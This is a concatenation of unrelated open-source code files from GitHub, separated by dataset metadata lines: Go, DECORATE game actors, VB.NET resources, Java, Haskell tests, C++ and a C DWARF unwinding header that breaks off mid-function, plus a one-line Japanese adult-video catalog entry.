// mkpost is run after cgo -godefs; see README.md.
package main
import (
"bytes"
"fmt"
"go/format"
"io/ioutil"
"log"
"os"
"regexp"
)
func main() {
// Get the OS and architecture (using GOARCH_TARGET if it exists)
goos := os.Getenv("GOOS")
goarch := os.Getenv("GOARCH_TARGET")
if goarch == "" {
goarch = os.Getenv("GOARCH")
}
// Check that we are using the new build system if we should be.
if goos == "linux" && goarch != "sparc64" {
if os.Getenv("GOLANG_SYS_BUILD") != "docker" {
os.Stderr.WriteString("In the new build system, mkpost should not be called directly.\n")
os.Stderr.WriteString("See README.md\n")
os.Exit(1)
}
}
b, err := ioutil.ReadAll(os.Stdin)
if err != nil {
log.Fatal(err)
}
// Intentionally export __val fields in Fsid and Sigset_t
valRegex := regexp.MustCompile(`type (Fsid|Sigset_t) struct {(\s+)X__val(\s+\S+\s+)}`)
b = valRegex.ReplaceAll(b, []byte("type $1 struct {${2}Val$3}"))
// If we have empty Ptrace structs, we should delete them. Only s390x emits
// nonempty Ptrace structs.
ptraceRexexp := regexp.MustCompile(`type Ptrace((Psw|Fpregs|Per) struct {\s*})`)
b = ptraceRexexp.ReplaceAll(b, nil)
// Replace the control_regs union with a blank identifier for now.
controlRegsRegex := regexp.MustCompile(`(Control_regs)\s+\[0\]uint64`)
b = controlRegsRegex.ReplaceAll(b, []byte("_ [0]uint64"))
// Remove fields that are added by glibc
// Note that this is unstable as the identifers are private.
removeFieldsRegex := regexp.MustCompile(`X__glibc\S*`)
b = removeFieldsRegex.ReplaceAll(b, []byte("_"))
// Convert [65]int8 to [65]byte in Utsname members to simplify
// conversion to string; see golang.org/issue/20753
convertUtsnameRegex := regexp.MustCompile(`((Sys|Node|Domain)name|Release|Version|Machine)(\s+)\[(\d+)\]u?int8`)
b = convertUtsnameRegex.ReplaceAll(b, []byte("$1$3[$4]byte"))
// Remove spare fields (e.g. in Statx_t)
spareFieldsRegex := regexp.MustCompile(`X__spare\S*`)
b = spareFieldsRegex.ReplaceAll(b, []byte("_"))
// Remove cgo padding fields
removePaddingFieldsRegex := regexp.MustCompile(`Pad_cgo_\d+`)
b = removePaddingFieldsRegex.ReplaceAll(b, []byte("_"))
// Remove padding, hidden, or unused fields
removeFieldsRegex = regexp.MustCompile(`\b(X_\S+|Padding)`)
b = removeFieldsRegex.ReplaceAll(b, []byte("_"))
// Remove the first line of warning from cgo
b = b[bytes.IndexByte(b, '\n')+1:]
// Modify the command in the header to include:
// mkpost, our own warning, and a build tag.
replacement := fmt.Sprintf(`$1 | go run mkpost.go
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build %s,%s`, goarch, goos)
cgoCommandRegex := regexp.MustCompile(`(cgo -godefs .*)`)
b = cgoCommandRegex.ReplaceAll(b, []byte(replacement))
// gofmt
b, err = format.Source(b)
if err != nil {
log.Fatal(err)
}
os.Stdout.Write(b)
}
| {
"pile_set_name": "Github"
} |
水城なぎさ最新番号
【CAD-1741】THE家庭教師 11</a>2006-08-05GOLDEN CANDY$$$golde68分钟 | {
"pile_set_name": "Github"
} |
// Knight -------------------------------------------------------------------
ACTOR Knight
{
Health 200
Radius 24
Height 78
Mass 150
Speed 12
Painchance 100
Monster
+FLOORCLIP
SeeSound "hknight/sight"
AttackSound "hknight/attack"
PainSound "hknight/pain"
DeathSound "hknight/death"
ActiveSound "hknight/active"
Obituary "$OB_BONEKNIGHT"
HitObituary "$OB_BONEKNIGHTHIT"
DropItem "CrossbowAmmo", 84, 5
action native A_KnightAttack ();
States
{
Spawn:
KNIG AB 10 A_Look
Loop
See:
KNIG ABCD 4 A_Chase
Loop
Melee:
Missile:
KNIG E 10 A_FaceTarget
KNIG F 8 A_FaceTarget
KNIG G 8 A_KnightAttack
KNIG E 10 A_FaceTarget
KNIG F 8 A_FaceTarget
KNIG G 8 A_KnightAttack
Goto See
Pain:
KNIG H 3
KNIG H 3 A_Pain
Goto See
Death:
KNIG I 6
KNIG J 6 A_Scream
KNIG K 6
KNIG L 6 A_NoBlocking
KNIG MN 6
KNIG O -1
Stop
}
}
// Knight ghost -------------------------------------------------------------
ACTOR KnightGhost : Knight
{
+SHADOW
+GHOST
RenderStyle Translucent
Alpha 0.4
}
// Knight axe ---------------------------------------------------------------
ACTOR KnightAxe
{
Radius 10
Height 8
Speed 9
FastSpeed 18
Damage 2
Projectile
-NOBLOCKMAP
-ACTIVATEIMPACT
-ACTIVATEPCROSS
+WINDTHRUST
+THRUGHOST
DeathSound "hknight/hit"
States
{
Spawn:
SPAX A 3 BRIGHT A_PlaySound("hknight/axewhoosh")
SPAX BC 3 BRIGHT
Loop
Death:
SPAX DEF 6 BRIGHT
Stop
}
}
// Red axe ------------------------------------------------------------------
ACTOR RedAxe : KnightAxe
{
+NOBLOCKMAP
-WINDTHRUST
Damage 7
action native A_DripBlood ();
States
{
Spawn:
RAXE AB 5 BRIGHT A_DripBlood
Loop
Death:
RAXE CDE 6 BRIGHT
Stop
}
}
| {
"pile_set_name": "Github"
} |
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.20928.1
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Imports System
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
Friend Class Resources
Private Shared resourceMan As Global.System.Resources.ResourceManager
Private Shared resourceCulture As Global.System.Globalization.CultureInfo
<Global.System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")> _
Friend Sub New()
MyBase.New
End Sub
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Shared ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Shared Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set
resourceCulture = value
End Set
End Property
'''<summary>
''' Looks up a localized string similar to Apples.
'''</summary>
Friend Shared ReadOnly Property Apples() As String
Get
Return ResourceManager.GetString("Apples", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Bananas.
'''</summary>
Friend Shared ReadOnly Property Bananas() As String
Get
Return ResourceManager.GetString("Bananas", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Bears.
'''</summary>
Friend Shared ReadOnly Property Bears() As String
Get
Return ResourceManager.GetString("Bears", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Both in and out parameters should not be specified.
'''</summary>
Friend Shared ReadOnly Property BothInOutParamsIllegal() As String
Get
Return ResourceManager.GetString("BothInOutParamsIllegal", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Empty string is not accepted.
'''</summary>
Friend Shared ReadOnly Property EmptyStringIllegal() As String
Get
Return ResourceManager.GetString("EmptyStringIllegal", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to EventArgs are required.
'''</summary>
Friend Shared ReadOnly Property EventArgsRequired() As String
Get
Return ResourceManager.GetString("EventArgsRequired", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Both in and out parameters can not be NULL.
'''</summary>
Friend Shared ReadOnly Property InOutParamCantBeNULL() As String
Get
Return ResourceManager.GetString("InOutParamCantBeNULL", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to In parameter may not be specified.
'''</summary>
Friend Shared ReadOnly Property InParamIllegal() As String
Get
Return ResourceManager.GetString("InParamIllegal", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Value should be between 0 and {0}.
'''</summary>
Friend Shared ReadOnly Property InvalidIndex() As String
Get
Return ResourceManager.GetString("InvalidIndex", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Lions.
'''</summary>
Friend Shared ReadOnly Property Lions() As String
Get
Return ResourceManager.GetString("Lions", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to My DropDown Combo.
'''</summary>
Friend Shared ReadOnly Property MyDropDownCombo() As String
Get
Return ResourceManager.GetString("MyDropDownCombo", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to My Dynamic Combo.
'''</summary>
Friend Shared ReadOnly Property MyDynamicCombo() As String
Get
Return ResourceManager.GetString("MyDynamicCombo", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to My Index Combo.
'''</summary>
Friend Shared ReadOnly Property MyIndexCombo() As String
Get
Return ResourceManager.GetString("MyIndexCombo", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to My MRU Combo.
'''</summary>
Friend Shared ReadOnly Property MyMRUCombo() As String
Get
Return ResourceManager.GetString("MyMRUCombo", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Oranges.
'''</summary>
Friend Shared ReadOnly Property Oranges() As String
Get
Return ResourceManager.GetString("Oranges", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Out parameter can not be NULL.
'''</summary>
Friend Shared ReadOnly Property OutParamRequired() As String
Get
Return ResourceManager.GetString("OutParamRequired", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Parameter must be either index or valid string in list.
'''</summary>
Friend Shared ReadOnly Property ParamMustBeValidIndexOrStringInList() As String
Get
Return ResourceManager.GetString("ParamMustBeValidIndexOrStringInList", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Parameter must be valid string in list.
'''</summary>
Friend Shared ReadOnly Property ParamNotValidStringInList() As String
Get
Return ResourceManager.GetString("ParamNotValidStringInList", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Pears.
'''</summary>
Friend Shared ReadOnly Property Pears() As String
Get
Return ResourceManager.GetString("Pears", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Tigers.
'''</summary>
Friend Shared ReadOnly Property Tigers() As String
Get
Return ResourceManager.GetString("Tigers", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Zoom to Fit.
'''</summary>
Friend Shared ReadOnly Property Zoom_to_Fit() As String
Get
Return ResourceManager.GetString("Zoom_to_Fit", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Zoom factor must be > 0.
'''</summary>
Friend Shared ReadOnly Property ZoomMustBeGTZero() As String
Get
Return ResourceManager.GetString("ZoomMustBeGTZero", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to ZoomToFit.
'''</summary>
Friend Shared ReadOnly Property ZoomToFit() As String
Get
Return ResourceManager.GetString("ZoomToFit", resourceCulture)
End Get
End Property
End Class
| {
"pile_set_name": "Github"
} |
package org.javaee7.jaspic.dispatching.servlet;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
*
* @author Arjan Tijms
*
*/
@WebServlet(urlPatterns = "/includedServlet")
public class IncludedServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().write("response from includedServlet");
}
} | {
"pile_set_name": "Github"
} |
{-# LANGUAGE RecordWildCards #-}
{-# OPTIONS_GHC -Wno-incomplete-patterns #-}
module Test.All(test) where
import Control.Exception
import Control.Monad
import Control.Monad.IO.Class
import Data.Char
import Data.Either.Extra
import Data.Foldable
import Data.List
import Data.Maybe
import System.Directory
import System.FilePath
import Data.Functor
import Prelude
import Config.Type
import Config.Read
import CmdLine
import Refact
import Hint.All
import Test.Annotations
import Test.InputOutput
import Test.Util
import System.IO.Extra
import Language.Haskell.GhclibParserEx.GHC.Utils.Outputable
test :: Cmd -> ([String] -> IO ()) -> FilePath -> [FilePath] -> IO Int
test CmdMain{..} main dataDir files = do
rpath <- refactorPath (if cmdWithRefactor == "" then Nothing else Just cmdWithRefactor)
(failures, ideas) <- withBuffering stdout NoBuffering $ withTests $ do
hasSrc <- liftIO $ doesFileExist "hlint.cabal"
let useSrc = hasSrc && null files
testFiles <- if files /= [] then pure files else do
xs <- liftIO $ getDirectoryContents dataDir
pure [dataDir </> x | x <- xs, takeExtension x `elem` [".yml",".yaml"]]
testFiles <- liftIO $ forM testFiles $ \file -> do
hints <- readFilesConfig [(file, Nothing),("CommandLine.yaml", Just "- group: {name: testing, enabled: true}")]
pure (file, hints ++ (if takeBaseName file /= "Test" then [] else map (Builtin . fst) builtinHints))
let wrap msg act = do liftIO $ putStr (msg ++ " "); act; liftIO $ putStrLn ""
liftIO $ putStrLn "Testing"
liftIO $ checkCommentedYaml $ dataDir </> "default.yaml"
when useSrc $ wrap "Source annotations" $ do
config <- liftIO $ readFilesConfig [(".hlint.yaml",Nothing)]
forM_ builtinHints $ \(name,_) -> do
progress
testAnnotations (Builtin name : if name == "Restrict" then config else [])
("src/Hint" </> name <.> "hs")
(eitherToMaybe rpath)
when useSrc $ wrap "Input/outputs" $ testInputOutput main
wrap "Hint names" $ mapM_ (\x -> do progress; testNames $ snd x) testFiles
wrap "Hint annotations" $ forM_ testFiles $ \(file,h) -> do progress; testAnnotations h file (eitherToMaybe rpath)
when (null files && not hasSrc) $ liftIO $ putStrLn "Warning, couldn't find source code, so non-hint tests skipped"
case rpath of
Left refactorNotFound -> putStrLn $ unlines [refactorNotFound, "Refactoring tests skipped"]
_ -> pure ()
pure failures
---------------------------------------------------------------------
-- VARIOUS SMALL TESTS
-- Check all hints in the standard config files get sensible names
testNames :: [Setting] -> Test ()
testNames hints = sequence_
[ failed ["No name for the hint " ++ unsafePrettyPrint hintRuleLHS ++ " ==> " ++ unsafePrettyPrint hintRuleRHS]
| SettingMatchExp x@HintRule{..} <- hints, hintRuleName == defaultHintName]
-- Check that the default.yaml template I supply is valid when I strip off all the comments, since that's
-- what a user gets with --default
checkCommentedYaml :: FilePath -> IO ()
checkCommentedYaml file = do
src <- lines <$> readFile' file
let src2 = [x | x <- src, Just x <- [stripPrefix "# " x], not $ all (\x -> isAlpha x || x == '$') $ take 1 x]
e <- readFilesConfig [(file, Just $ unlines src2)]
void $ evaluate $ length e
| {
"pile_set_name": "Github"
} |
/*
* The Doomsday Engine Project -- libcore
*
* Copyright © 2009-2017 Jaakko Keränen <jaakko.keranen@iki.fi>
*
* @par License
* LGPL: http://www.gnu.org/licenses/lgpl.html
*
* <small>This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 3 of the License, or (at your
* option) any later version. This program is distributed in the hope that it
* will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser
* General Public License for more details. You should have received a copy of
* the GNU Lesser General Public License along with this program; if not, see:
* http://www.gnu.org/licenses</small>
*/
#include "de/RecordValue"
#include "de/TextValue"
#include "de/RefValue"
#include "de/NoneValue"
#include "de/FunctionValue"
#include "de/Process"
#include "de/Context"
#include "de/Evaluator"
#include "de/Variable"
#include "de/Writer"
#include "de/Reader"
#include "de/ScopeStatement"
#include "de/math.h"
namespace de {
DENG2_PIMPL(RecordValue)
, DENG2_OBSERVES(Record, Deletion)
{
Record *record = nullptr;
OwnershipFlags ownership;
OwnershipFlags oldOwnership; // prior to serialization
Impl(Public *i) : Base(i) {}
// Observes Record deletion.
void recordBeingDeleted(Record &DENG2_DEBUG_ONLY(deleted))
{
if (!record) return; // Not associated with a record any more.
DENG2_ASSERT(record == &deleted);
DENG2_ASSERT(!ownership.testFlag(OwnsRecord));
record = nullptr;
self().setAccessedRecord(nullptr);
}
};
RecordValue::RecordValue(Record *record, OwnershipFlags o)
: RecordAccessor(record)
, d(new Impl(this))
{
d->record = record;
d->ownership = o;
d->oldOwnership = o;
DENG2_ASSERT(d->record != nullptr);
if (!d->ownership.testFlag(OwnsRecord) &&
!d->record->flags().testFlag(Record::WontBeDeleted))
{
// If we don't own it, someone may delete the record.
d->record->audienceForDeletion() += d;
}
}
RecordValue::RecordValue(Record const &record)
: RecordAccessor(record)
, d(new Impl(this))
{
d->record = const_cast<Record *>(&record);
if (!record.flags().testFlag(Record::WontBeDeleted))
{
// Someone may delete the record.
d->record->audienceForDeletion() += d;
}
}
RecordValue::RecordValue(IObject const &object)
: RecordAccessor(object.objectNamespace())
, d(new Impl(this))
{
d->record = const_cast<Record *>(&object.objectNamespace());
if (!d->record->flags().testFlag(Record::WontBeDeleted))
{
// Someone may delete the record.
d->record->audienceForDeletion() += d;
}
}
RecordValue::~RecordValue()
{
setRecord(nullptr);
}
bool RecordValue::hasOwnership() const
{
return d->ownership.testFlag(OwnsRecord);
}
bool RecordValue::usedToHaveOwnership() const
{
return d->oldOwnership.testFlag(OwnsRecord);
}
Record *RecordValue::record() const
{
return d->record;
}
void RecordValue::setRecord(Record *record, OwnershipFlags ownership)
{
if (record == d->record) return; // Got it already.
if (hasOwnership())
{
delete d->record;
}
else if (d->record && !d->record->flags().testFlag(Record::WontBeDeleted))
{
d->record->audienceForDeletion() -= d;
}
d->record = record;
d->ownership = ownership;
setAccessedRecord(d->record);
if (d->record && !d->ownership.testFlag(OwnsRecord) &&
!d->record->flags().testFlag(Record::WontBeDeleted))
{
// Since we don't own it, someone may delete the record.
d->record->audienceForDeletion() += d;
}
}
Record *RecordValue::takeRecord()
{
verify();
if (!hasOwnership())
{
/// @throw OwnershipError Cannot give away ownership of a record that is not owned.
throw OwnershipError("RecordValue::takeRecord", "Value does not own the record");
}
Record *rec = d->record;
DENG2_ASSERT(!d->record->audienceForDeletion().contains(d));
d->record = nullptr;
d->ownership = RecordNotOwned;
setAccessedRecord(nullptr);
return rec;
}
void RecordValue::verify() const
{
if (!d->record)
{
/// @throw NullError The value no longer points to a record.
throw NullError("RecordValue::verify", "Value no longer references a record");
}
}
Record &RecordValue::dereference()
{
verify();
return *d->record;
}
Record const &RecordValue::dereference() const
{
verify();
return *d->record;
}
Value::Text RecordValue::typeId() const
{
return QStringLiteral("Record");
}
Value *RecordValue::duplicate() const
{
verify();
if (hasOwnership())
{
// Make a complete duplicate using a new record.
return new RecordValue(new Record(*d->record), OwnsRecord);
}
return new RecordValue(d->record);
}
Value *RecordValue::duplicateAsReference() const
{
verify();
return new RecordValue(d->record);
}
Value::Text RecordValue::asText() const
{
if (d->record)
{
return d->record->asText();
}
return "(null)";
}
Record *RecordValue::memberScope() const
{
verify();
return d->record;
}
dsize RecordValue::size() const
{
return dereference().members().size();
}
void RecordValue::setElement(Value const &index, Value *elementValue)
{
// We're expecting text.
TextValue const *text = dynamic_cast<TextValue const *>(&index);
if (!text)
{
throw IllegalIndexError("RecordValue::setElement",
"Records must be indexed with text values");
}
dereference().add(new Variable(text->asText(), elementValue));
}
Value *RecordValue::duplicateElement(Value const &value) const
{
// We're expecting text.
TextValue const *text = dynamic_cast<TextValue const *>(&value);
if (!text)
{
throw IllegalIndexError("RecordValue::duplicateElement",
"Records must be indexed with text values");
}
if (dereference().hasMember(*text))
{
return dereference()[*text].value().duplicateAsReference();
}
throw NotFoundError("RecordValue::duplicateElement",
"'" + text->asText() + "' does not exist in the record");
}
bool RecordValue::contains(Value const &value) const
{
// We're expecting text.
TextValue const *text = dynamic_cast<TextValue const *>(&value);
if (!text)
{
throw IllegalIndexError("RecordValue::contains",
"Records must be indexed with text values");
}
return dereference().has(*text);
}
bool RecordValue::isTrue() const
{
return size() > 0;
}
dint RecordValue::compare(Value const &value) const
{
RecordValue const *recValue = dynamic_cast<RecordValue const *>(&value);
if (!recValue)
{
// Can't be the same.
return cmp(reinterpret_cast<void const *>(this),
reinterpret_cast<void const *>(&value));
}
return cmp(recValue->d->record, d->record);
}
void RecordValue::call(Process &process, Value const &arguments, Value *) const
{
verify();
// Calling a record causes it to be treated as a class and a new record is
// initialized as a member of the class.
QScopedPointer<RecordValue> instance(new RecordValue(new Record, RecordValue::OwnsRecord));
instance->record()->addSuperRecord(*d->record);
// If there is an initializer method, call it now.
if (dereference().hasMember(Record::VAR_INIT))
{
process.call(dereference().function(Record::VAR_INIT), arguments.as<ArrayValue>(),
instance->duplicateAsReference());
// Discard the return value from the init function.
delete process.context().evaluator().popResult();
}
process.context().evaluator().pushResult(instance.take());
}
// Flags for serialization:
static duint8 const OWNS_RECORD = 0x1;
void RecordValue::operator >> (Writer &to) const
{
duint8 flags = 0;
if (hasOwnership()) flags |= OWNS_RECORD;
to << SerialId(RECORD) << flags << dereference();
}
void RecordValue::operator << (Reader &from)
{
SerialId id;
from >> id;
if (id != RECORD)
{
/// @throw DeserializationError The identifier that species the type of the
/// serialized value was invalid.
throw DeserializationError("RecordValue::operator <<", "Invalid ID");
}
// Old flags.
duint8 flags = 0;
from >> flags;
d->oldOwnership = OwnershipFlags(flags & OWNS_RECORD? OwnsRecord : 0);
from >> dereference();
}
RecordValue *RecordValue::takeRecord(Record *record)
{
return new RecordValue(record, OwnsRecord);
}
RecordValue *RecordValue::takeRecord(Record &&record)
{
return new RecordValue(new Record(record), OwnsRecord);
}
} // namespace de
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2018 Uber Technologies, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package adapters
import (
"testing"
"time"
"github.com/stretchr/testify/assert"
"github.com/uber/jaeger-lib/metrics"
)
func TestCache(t *testing.T) {
f := metrics.NewLocalFactory(100 * time.Second)
c1 := f.Counter("x", nil)
g1 := f.Gauge("y", nil)
t1 := f.Timer("z", nil)
c := newCache()
c2 := c.getOrSetCounter("x", func() metrics.Counter { return c1 })
assert.Equal(t, c1, c2)
g2 := c.getOrSetGauge("y", func() metrics.Gauge { return g1 })
assert.Equal(t, g1, g2)
t2 := c.getOrSetTimer("z", func() metrics.Timer { return t1 })
assert.Equal(t, t1, t2)
c3 := c.getOrSetCounter("x", func() metrics.Counter { panic("c1") })
assert.Equal(t, c1, c3)
g3 := c.getOrSetGauge("y", func() metrics.Gauge { panic("g1") })
assert.Equal(t, g1, g3)
t3 := c.getOrSetTimer("z", func() metrics.Timer { panic("t1") })
assert.Equal(t, t1, t3)
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2010-2011 PathScale, Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS
* IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
* ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* dwarf_eh.h - Defines some helper functions for parsing DWARF exception
* handling tables.
*
* This file contains various helper functions that are independent of the
* language-specific code. It can be used in any personality function for the
* Itanium ABI.
*/
#include <assert.h>
// TODO: Factor out Itanium / ARM differences. We probably want an itanium.h
// and arm.h that can be included by this file depending on the target ABI.
// _GNU_SOURCE must be defined for unwind.h to expose some of the functions
// that we want. If it isn't, then we define it and undefine it to make sure
// that it doesn't impact the rest of the program.
#ifndef _GNU_SOURCE
# define _GNU_SOURCE 1
# include "unwind.h"
# undef _GNU_SOURCE
#else
# include "unwind.h"
#endif
#include <stdint.h>
/// Type used for pointers into DWARF data
typedef unsigned char *dw_eh_ptr_t;
// Flag indicating a signed quantity
#define DW_EH_PE_signed 0x08
/// DWARF data encoding types.
enum dwarf_data_encoding
{
/// Absolute pointer value
DW_EH_PE_absptr = 0x00,
/// Unsigned, little-endian, base 128-encoded (variable length).
DW_EH_PE_uleb128 = 0x01,
/// Unsigned 16-bit integer.
DW_EH_PE_udata2 = 0x02,
/// Unsigned 32-bit integer.
DW_EH_PE_udata4 = 0x03,
/// Unsigned 64-bit integer.
DW_EH_PE_udata8 = 0x04,
/// Signed, little-endian, base 128-encoded (variable length)
DW_EH_PE_sleb128 = DW_EH_PE_uleb128 | DW_EH_PE_signed,
/// Signed 16-bit integer.
DW_EH_PE_sdata2 = DW_EH_PE_udata2 | DW_EH_PE_signed,
/// Signed 32-bit integer.
DW_EH_PE_sdata4 = DW_EH_PE_udata4 | DW_EH_PE_signed,
/// Signed 32-bit integer.
DW_EH_PE_sdata8 = DW_EH_PE_udata8 | DW_EH_PE_signed
};
/**
* Returns the encoding for a DWARF EH table entry. The encoding is stored in
* the low four of an octet. The high four bits store the addressing mode.
*/
static inline enum dwarf_data_encoding get_encoding(unsigned char x)
{
return static_cast<enum dwarf_data_encoding>(x & 0xf);
}
/**
* DWARF addressing mode constants. When reading a pointer value from a DWARF
* exception table, you must know how it is stored and what the addressing mode
* is. The low four bits tell you the encoding, allowing you to decode a
* number. The high four bits tell you the addressing mode, allowing you to
* turn that number into an address in memory.
*/
enum dwarf_data_relative
{
/// Value is omitted
DW_EH_PE_omit = 0xff,
/// Value relative to program counter
DW_EH_PE_pcrel = 0x10,
/// Value relative to the text segment
DW_EH_PE_textrel = 0x20,
/// Value relative to the data segment
DW_EH_PE_datarel = 0x30,
/// Value relative to the start of the function
DW_EH_PE_funcrel = 0x40,
/// Aligned pointer (Not supported yet - are they actually used?)
DW_EH_PE_aligned = 0x50,
/// Pointer points to address of real value
DW_EH_PE_indirect = 0x80
};
/**
* Returns the addressing mode component of this encoding.
*/
static inline enum dwarf_data_relative get_base(unsigned char x)
{
return static_cast<enum dwarf_data_relative>(x & 0x70);
}
/**
* Returns whether an encoding represents an indirect address.
*/
static int is_indirect(unsigned char x)
{
return ((x & DW_EH_PE_indirect) == DW_EH_PE_indirect);
}
/**
* Returns the size of a fixed-size encoding. This function will abort if
* called with a value that is not a fixed-size encoding.
*/
static inline int dwarf_size_of_fixed_size_field(unsigned char type)
{
switch (get_encoding(type))
{
default: abort();
case DW_EH_PE_sdata2:
case DW_EH_PE_udata2: return 2;
case DW_EH_PE_sdata4:
case DW_EH_PE_udata4: return 4;
case DW_EH_PE_sdata8:
case DW_EH_PE_udata8: return 8;
case DW_EH_PE_absptr: return sizeof(void*);
}
}
/**
* Read an unsigned, little-endian, base-128, DWARF value. Updates *data to
* point to the end of the value. Stores the number of bits read in the value
* pointed to by b, allowing you to determine the value of the highest bit, and
* therefore the sign of a signed value.
*
* This function is not intended to be called directly. Use read_sleb128() or
* read_uleb128() for reading signed and unsigned versions, respectively.
*/
static uint64_t read_leb128(dw_eh_ptr_t *data, int *b)
{
uint64_t uleb = 0;
unsigned int bit = 0;
unsigned char digit = 0;
// We have to read at least one octet, and keep reading until we get to one
// with the high bit unset
do
{
// This check is a bit too strict - we should also check the highest
// bit of the digit.
assert(bit < sizeof(uint64_t) * 8);
// Get the base 128 digit
digit = (**data) & 0x7f;
// Add it to the current value
uleb += digit << bit;
// Increase the shift value
bit += 7;
// Proceed to the next octet
(*data)++;
// Terminate when we reach a value that does not have the high bit set
// (i.e. which was not modified when we mask it with 0x7f)
} while ((*(*data - 1)) != digit);
*b = bit;
return uleb;
}
/**
* Reads an unsigned little-endian base-128 value starting at the address
* pointed to by *data. Updates *data to point to the next byte after the end
* of the variable-length value.
*/
static int64_t read_uleb128(dw_eh_ptr_t *data)
{
int b;
return read_leb128(data, &b);
}
/**
* Reads a signed little-endian base-128 value starting at the address pointed
* to by *data. Updates *data to point to the next byte after the end of the
* variable-length value.
*/
static int64_t read_sleb128(dw_eh_ptr_t *data)
{
int bits;
// Read as if it's signed
uint64_t uleb = read_leb128(data, &bits);
